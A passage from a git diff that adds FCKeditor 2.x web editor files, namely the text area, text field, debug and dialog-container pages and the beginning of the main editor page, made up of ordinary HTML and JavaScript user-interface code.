+       oEditor.FCKUndo.SaveUndoStep() ;
+
+       if ( GetE('xChkReplaceAll').checked )
+               FCK.SetHTML( FCK._Templates[index].Html ) ;
+       else
+               FCK.InsertHtml( FCK._Templates[index].Html ) ;
+
+       window.parent.Cancel( true ) ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <span fcklang="DlgTemplatesSelMsg">Please select the template to open in the editor<br />
+                                       (the actual contents will be lost):</span>
+                       </td>
+               </tr>
+               <tr>
+                       <td height="100%" align="center">
+                               <div id="eList" align="left" class="TplList">
+                                       <div id="eLoading" align="center" style="display: none">
+                                               <br />
+                                               <span fcklang="DlgTemplatesLoading">Loading templates list. Please wait...</span>
+                                       </div>
+                                       <div id="eEmpty" align="center" style="display: none">
+                                               <br />
+                                               <span fcklang="DlgTemplatesNoTpl">(No templates defined)</span>
+                                       </div>
+                               </div>
+                       </td>
+               </tr>
+               <tr id="xReplaceBlock" style="display: none">
+                       <td>
+                               <table cellpadding="0" cellspacing="0">
+                                       <tr>
+                                               <td>
+                                                       <input id="xChkReplaceAll" type="checkbox" /></td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td>
+                                                       <label for="xChkReplaceAll" fcklang="DlgTemplatesReplace">
+                                                               Replace actual contents</label></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_template/images/template1.gif b/fckeditor/editor/dialog/fck_template/images/template1.gif
new file mode 100755 (executable)
index 0000000..efdabbe
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template1.gif differ
diff --git a/fckeditor/editor/dialog/fck_template/images/template2.gif b/fckeditor/editor/dialog/fck_template/images/template2.gif
new file mode 100755 (executable)
index 0000000..d1cebb3
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template2.gif differ
diff --git a/fckeditor/editor/dialog/fck_template/images/template3.gif b/fckeditor/editor/dialog/fck_template/images/template3.gif
new file mode 100755 (executable)
index 0000000..db41cb4
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template3.gif differ
diff --git a/fckeditor/editor/dialog/fck_textarea.html b/fckeditor/editor/dialog/fck_textarea.html
new file mode 100755 (executable)
index 0000000..55fe373
--- /dev/null
@@ -0,0 +1,98 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_textarea.html
+ *     Text Area dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Text Area Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'TEXTAREA' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtCols').value           = GetAttribute( oActiveEl, 'cols' ) ;
+               GetE('txtRows').value           = GetAttribute( oActiveEl, 'rows' ) ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'TEXTAREA' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'cols', GetE('txtCols').value ) ;
+       SetAttribute( oActiveEl, 'rows', GetE('txtRows').value ) ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style='OVERFLOW: hidden' scroll='no'>
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgTextareaName">Name</span><br>
+                                                               <input type="text" id="txtName" style="WIDTH: 100%">
+                                                               <span fckLang="DlgTextareaCols">Collumns</span><br>
+                                                               <input id="txtCols" type="text" size="5">
+                                                               <br>
+                                                               <span fckLang="DlgTextareaRows">Rows</span><br>
+                                                               <input id="txtRows" type="text" size="5">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_textfield.html b/fckeditor/editor/dialog/fck_textfield.html
new file mode 100755 (executable)
index 0000000..ae41a08
--- /dev/null
@@ -0,0 +1,143 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_textfield.html
+ *     Text field dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && ( oActiveEl.type == 'text' || oActiveEl.type == 'password' ) )
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtValue').value  = oActiveEl.value ;
+               GetE('txtSize').value   = GetAttribute( oActiveEl, 'size' ) ;
+               GetE('txtMax').value    = GetAttribute( oActiveEl, 'maxLength' ) ;
+               GetE('txtType').value   = oActiveEl.type ;
+
+               GetE('txtType').disabled = true ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( isNaN( GetE('txtMax').value ) || GetE('txtMax').value < 0 )
+       {
+               alert( "Maximum characters must be a positive number." ) ;
+               GetE('txtMax').focus() ;
+               return false ;
+       }
+       else if( isNaN( GetE('txtSize').value ) || GetE('txtSize').value < 0 )
+       {
+               alert( "Width must be a positive number." ) ;
+               GetE('txtSize').focus() ;
+               return false ;
+       }
+
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = GetE('txtType').value ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value'        , GetE('txtValue').value ) ;
+       SetAttribute( oActiveEl, 'size'         , GetE('txtSize').value ) ;
+       SetAttribute( oActiveEl, 'maxlength', GetE('txtMax').value ) ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextName">Name</span><br />
+                                                       <input id="txtName" type="text" size="20" />
+                                               </td>
+                                               <td>
+                                               </td>
+                                               <td>
+                                                       <span fcklang="DlgTextValue">Value</span><br />
+                                                       <input id="txtValue" type="text" size="25" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextCharWidth">Character Width</span><br />
+                                                       <input id="txtSize" type="text" size="5" />
+                                               </td>
+                                               <td>
+                                               </td>
+                                               <td>
+                                                       <span fcklang="DlgTextMaxChars">Maximum Characters</span><br />
+                                                       <input id="txtMax" type="text" size="5" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextType">Type</span><br />
+                                                       <select id="txtType">
+                                                               <option value="text" selected="selected" fcklang="DlgTextTypeText">Text</option>
+                                                               <option value="password" fcklang="DlgTextTypePass">Password</option>
+                                                       </select>
+                                               </td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckdebug.html b/fckeditor/editor/fckdebug.html
new file mode 100755 (executable)
index 0000000..1696e1c
--- /dev/null
@@ -0,0 +1,157 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckdebug.html
+ *     This is the Debug window.
+ *     It automatically popups if the Debug = true in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor Debug Window</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <script type="text/javascript">
+
+var oWindow ;
+var oDiv ;
+
+if ( !window.FCKMessages )
+       window.FCKMessages = new Array() ;
+
+window.onload = function()
+{
+       oWindow = document.getElementById('xOutput').contentWindow ;
+       oWindow.document.open() ;
+       oWindow.document.write( '<div id="divMsg"><\/div>' ) ;
+       oWindow.document.close() ;
+       oDiv    = oWindow.document.getElementById('divMsg') ;
+}
+
+function Output( message, color, noParse )
+{
+       if ( !noParse && message != null && isNaN( message ) )
+               message = message.replace(/</g, "&lt;") ;
+               
+       if ( color )
+               message = '<font color="' + color + '">' + message + '<\/font>' ;
+               
+       window.FCKMessages[ window.FCKMessages.length ] = message ;
+       StartTimer() ;
+}
+
+function OutputObject( anyObject, color )
+{
+       var message ;
+       
+       if ( anyObject != null ) 
+       {
+               message = 'Properties of: ' + anyObject + '</b><blockquote>' ;
+               
+               for (var prop in anyObject)
+               {
+                       try 
+                       {
+                               var sVal = anyObject[ prop ] != null ? anyObject[ prop ] + '' : '[null]' ;
+                               message += '<b>' + prop + '</b> : ' + sVal.replace(/</g, '&lt;') + '<br>' ;
+                       } 
+                       catch (e)
+                       {
+                               try
+                               {
+                                       message += '<b>' + prop + '</b> : [' + typeof( anyObject[ prop ] ) + ']<br>' ;
+                               }
+                               catch (e)
+                               {
+                                       message += '<b>' + prop + '</b> : [-error-]<br>' ;
+                               }
+                       }
+               }
+
+               message += '</blockquote><b>' ; 
+       } else
+               message = 'OutputObject : Object is "null".' ;
+               
+       Output( message, color, true ) ;
+}
+
+function StartTimer()
+{
+       window.setTimeout( 'CheckMessages()', 100 ) ;
+}
+
+function CheckMessages()
+{
+       if ( window.FCKMessages.length > 0 )
+       {
+               // Get the first item in the queue
+               var sMessage = window.FCKMessages[0] ;
+               
+               // Removes the first item from the queue
+               var oTempArray = new Array() ;
+               for ( i = 1 ; i < window.FCKMessages.length ; i++ )
+                       oTempArray[ i - 1 ] = window.FCKMessages[ i ] ;
+               window.FCKMessages = oTempArray ;
+               
+               var d = new Date() ;
+               var sTime = 
+                       ( d.getHours() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getMinutes() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getSeconds() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getMilliseconds() + 1000 + '' ).substr( 1,3 ) ;
+
+               var oMsgDiv = oWindow.document.createElement( 'div' ) ;
+               oMsgDiv.innerHTML = sTime + ': <b>' + sMessage + '<\/b>' ;
+               oDiv.appendChild( oMsgDiv ) ;
+               oMsgDiv.scrollIntoView() ;
+       }
+}
+
+function Clear()
+{
+       oDiv.innerHTML = '' ;
+}
+       </script>
+</head>
+<body style="margin: 10px">
+       <table style="height: 100%" cellspacing="5" cellpadding="0" width="100%" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tr>
+                                               <td style="font-weight: bold; font-size: 1.2em;">
+                                                       FCKeditor Debug Window</td>
+                                               <td align="right">
+                                                       <input type="button" value="Clear" onclick="Clear();" /></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr style="height: 100%">
+                       <td style="border: #696969 1px solid">
+                               <iframe id="xOutput" width="100%" height="100%" scrolling="auto" src="javascript:void(0)"
+                                       frameborder="0"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckdialog.html b/fckeditor/editor/fckdialog.html
new file mode 100755 (executable)
index 0000000..bf3c6b7
--- /dev/null
@@ -0,0 +1,327 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckdialog.html
+ *     This page is used by all dialog box as the container.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <script type="text/javascript">
+
+// On some Gecko browsers (probably over slow connections) the
+// "dialogArguments" are not set so we must get it from the opener window.
+if ( !window.dialogArguments )
+       window.dialogArguments = window.opener.FCKLastDialogInfo ;
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+// Sets the language direction.
+window.document.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+var sTitle = window.dialogArguments.Title ;
+document.write( '<title>' + sTitle + '<\/title>' ) ;
+
+function LoadInnerDialog()
+{
+       if ( window.onresize )
+               window.onresize() ;
+
+       // First of all, translate the dialog box contents.
+       window.dialogArguments.Editor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.frames["frmMain"].document.location.href = window.dialogArguments.Page ;
+}
+
+function InnerDialogLoaded()
+{
+       var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+       // Set the language direction.
+       oInnerDoc.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+       // Sets the Skin CSS.
+       oInnerDoc.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+       SetOnKeyDown( oInnerDoc ) ;
+       DisableContextMenu( oInnerDoc ) ;
+
+       return window.dialogArguments.Editor ;
+}
+
+function SetOkButton( showIt )
+{
+       document.getElementById('btnOk').style.visibility = ( showIt ? '' : 'hidden' ) ;
+}
+
+var bAutoSize = false ;
+
+function SetAutoSize( autoSize )
+{
+       bAutoSize = autoSize ;
+       RefreshSize() ;
+}
+
+function RefreshSize()
+{
+       if ( bAutoSize )
+       {
+               var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+               var iFrameHeight ;
+               if ( document.all )
+                       iFrameHeight = oInnerDoc.body.offsetHeight ;
+               else
+                       iFrameHeight = document.getElementById('frmMain').contentWindow.innerHeight ;
+
+               var iInnerHeight = oInnerDoc.body.scrollHeight ;
+
+               var iDiff = iInnerHeight - iFrameHeight ;
+
+               if ( iDiff > 0 )
+               {
+                       if ( document.all )
+                               window.dialogHeight = ( parseInt( window.dialogHeight, 10 ) + iDiff ) + 'px' ;
+                       else
+                               window.resizeBy( 0, iDiff ) ;
+               }
+       }
+}
+
+function Ok()
+{
+       if ( window.frames["frmMain"].Ok && window.frames["frmMain"].Ok() )
+               Cancel() ;
+}
+
+function Cancel( dontFireChange )
+{
+       if ( !dontFireChange )
+       {
+               // All dialog windows, by default, will fire the "OnSelectionChange"
+               // event, no matter the Ok or Cancel button has been pressed.
+               window.dialogArguments.Editor.FCK.Events.FireEvent( 'OnSelectionChange' ) ;
+       }
+       window.close() ;
+}
+
+// Object that holds all available tabs.
+var oTabs = new Object() ;
+
+function TabDiv_OnClick()
+{
+       SetSelectedTab( this.TabCode ) ;
+}
+
+function AddTab( tabCode, tabText, startHidden )
+{
+       if ( typeof( oTabs[ tabCode ] ) != 'undefined' )
+               return ;
+
+       var eTabsRow = document.getElementById( 'Tabs' ) ;
+
+       var oCell = eTabsRow.insertCell(  eTabsRow.cells.length - 1 ) ;
+       oCell.noWrap = true ;
+
+       var oDiv = document.createElement( 'DIV' ) ;
+       oDiv.className = 'PopupTab' ;
+       oDiv.innerHTML = tabText ;
+       oDiv.TabCode = tabCode ;
+       oDiv.onclick = TabDiv_OnClick ;
+
+       if ( startHidden )
+               oDiv.style.display = 'none' ;
+
+       eTabsRow = document.getElementById( 'TabsRow' ) ;
+
+       oCell.appendChild( oDiv ) ;
+
+       if ( eTabsRow.style.display == 'none' )
+       {
+               var eTitleArea = document.getElementById( 'TitleArea' ) ;
+               eTitleArea.className = 'PopupTitle' ;
+
+               oDiv.className = 'PopupTabSelected' ;
+               eTabsRow.style.display = '' ;
+
+               if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+                       window.onresize() ;
+       }
+
+       oTabs[ tabCode ] = oDiv ;
+}
+
+function SetSelectedTab( tabCode )
+{
+       for ( var sCode in oTabs )
+       {
+               if ( sCode == tabCode )
+                       oTabs[sCode].className = 'PopupTabSelected' ;
+               else
+                       oTabs[sCode].className = 'PopupTab' ;
+       }
+
+       if ( typeof( window.frames["frmMain"].OnDialogTabChange ) == 'function' )
+               window.frames["frmMain"].OnDialogTabChange( tabCode ) ;
+}
+
+function SetTabVisibility( tabCode, isVisible )
+{
+       var oTab = oTabs[ tabCode ] ;
+       oTab.style.display = isVisible ? '' : 'none' ;
+
+       if ( ! isVisible && oTab.className == 'PopupTabSelected' )
+       {
+               for ( var sCode in oTabs )
+               {
+                       if ( oTabs[sCode].style.display != 'none' )
+                       {
+                               SetSelectedTab( sCode ) ;
+                               break ;
+                       }
+               }
+       }
+}
+
+function SetOnKeyDown( targetDocument )
+{
+       targetDocument.onkeydown = function ( e )
+       {
+               e = e || event || this.parentWindow.event ;
+               switch ( e.keyCode )
+               {
+                       case 13 :               // ENTER
+                               var oTarget = e.srcElement || e.target ;
+                               if ( oTarget.tagName == 'TEXTAREA' ) 
+                                       return true ;
+                               Ok() ;
+                               return false ;
+                       case 27 :               // ESC
+                               Cancel() ;
+                               return false ;
+                               break ;
+               }
+               return true ;
+       }
+}
+SetOnKeyDown( document ) ;
+
+function DisableContextMenu( targetDocument )
+{
+       if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE ) return ;
+
+       // Disable Right-Click
+       var oOnContextMenu = function( e )
+       {
+               var sTagName = e.target.tagName ;
+               if ( ! ( ( sTagName == "INPUT" && e.target.type == "text" ) || sTagName == "TEXTAREA" ) )
+                       e.preventDefault() ;
+       }
+       targetDocument.addEventListener( 'contextmenu', oOnContextMenu, true ) ;
+}
+DisableContextMenu( document ) ;
+
+if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+       window.onresize = function()
+       {
+               var oFrame = document.getElementById("frmMain") ;
+
+               if ( ! oFrame )
+               return ;
+
+               oFrame.height = 0 ;
+
+               var oCell = document.getElementById("FrameCell") ;
+               var iHeight = oCell.offsetHeight ;
+
+               oFrame.height = iHeight - 2 ;
+       }
+}
+
+if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+       function Window_OnBeforeUnload()
+       {
+               for ( var t in oTabs )
+                       oTabs[t] = null ;
+
+               window.dialogArguments.Editor = null ;
+       }
+       window.attachEvent( "onbeforeunload", Window_OnBeforeUnload ) ;
+}
+
+function Window_OnClose()
+{
+       window.dialogArguments.Editor.FCKFocusManager.Unlock() ;
+}
+
+if ( window.addEventListener )
+       window.addEventListener( 'unload', Window_OnClose, false ) ;
+
+               </script>
+       </head>
+       <body onload="LoadInnerDialog();" class="PopupBody">
+               <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+                       <tr>
+                               <td id="TitleArea" class="PopupTitle PopupTitleBorder">
+                                       <script type="text/javascript">
+document.write( sTitle ) ;
+                                       </script>
+                               </td>
+                       </tr>
+                       <tr id="TabsRow" style="DISPLAY: none">
+                               <td class="PopupTabArea">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="100%">
+                                               <tr id="Tabs" onselectstart="return false;">
+                                                       <td class="PopupTabEmptyArea">&nbsp;</td>
+                                                       <td class="PopupTabEmptyArea" width="100%">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td id="FrameCell" height="100%" valign="top">
+                                       <iframe id="frmMain" src="javascript:void(0)" name="frmMain" frameborder="0" height="100%" width="100%" scrolling="auto">
+                                       </iframe>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td class="PopupButtons">
+                                       <table border="0" cellpadding="0" cellspacing="0">
+                                               <tr>
+                                                       <td width="100%">&nbsp;</td>
+                                                       <td nowrap="nowrap">
+                                                               <input id="btnOk" style="VISIBILITY: hidden; WIDTH: 100px" type="button" value="Ok" class="Button"
+                                                                       onclick="Ok();" fckLang="DlgBtnOK" />&nbsp; <input type="button" value="Cancel" class="Button" onclick="Cancel();" fckLang="DlgBtnCancel" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/fckeditor.html b/fckeditor/editor/fckeditor.html
new file mode 100755 (executable)
index 0000000..f315975
--- /dev/null
@@ -0,0 +1,231 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.html
+ *     Main page that holds the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta http-equiv="Cache-Control" content="public" />
+       <script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+       document.write( '<script type="text/javascript" src="' + url + '" onerror="return false;alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+       document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+
+// Base configuration file.
+LoadScript( '../fckconfig.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+if ( FCKBrowserInfo.IsIE )
+{
+       // Remove IE mouse flickering.
+       try
+       {
+               document.execCommand( 'BackgroundImageCache', false, true ) ;
+       }
+       catch (e) 
+       {
+               // We have been reported about loading problems caused by the above
+               // line. For safety, let's just ignore errors.
+       }
+
+       // Create the default cleanup object used by the editor.
+       FCK.IECleanup = new FCKIECleanup( window ) ;
+       FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+       FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
+       LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+       </script>
+       <script type="text/javascript">
+       
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+       FCK.Events.AttachEvent( 'OnPaste', FCK.Paste ) ;
+
+       </script>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       InitializeAPI() ;
+
+       if ( FCKBrowserInfo.IsIE )
+               FCK_PreloadImages() ;
+       else
+               LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+       FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+       var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+       
+       if ( oToolbarSet.IsLoaded )
+               StartEditor() ;
+       else
+       {
+               oToolbarSet.OnLoad = StartEditor ;
+               oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+       }
+}
+
+function StartEditor()
+{
+       // Remove the onload listener.
+       FCK.ToolbarSet.OnLoad = null ;
+
+       FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+       FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+       // Start the editor.
+       FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+       if ( newStatus == FCK_STATUS_ACTIVE )
+       {
+               if ( FCKBrowserInfo.IsGecko )
+                       FCKTools.RunFunction( window.onresize ) ;
+
+               _AttachFormSubmitToAPI() ;
+
+               FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+               // Call the special "FCKeditor_OnComplete" function that should be present in 
+               // the HTML page where the editor is located.
+               if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+                       window.parent.FCKeditor_OnComplete( FCK ) ;     
+       }
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+       function Window_OnResize()
+       {
+               if ( FCKBrowserInfo.IsOpera )
+                       return ;
+
+               var oCell = document.getElementById( 'xEditingArea' ) ;
+
+               var eInnerElement = oCell.firstChild ;
+               if ( eInnerElement )
+               {
+                       eInnerElement.style.height = 0 ;
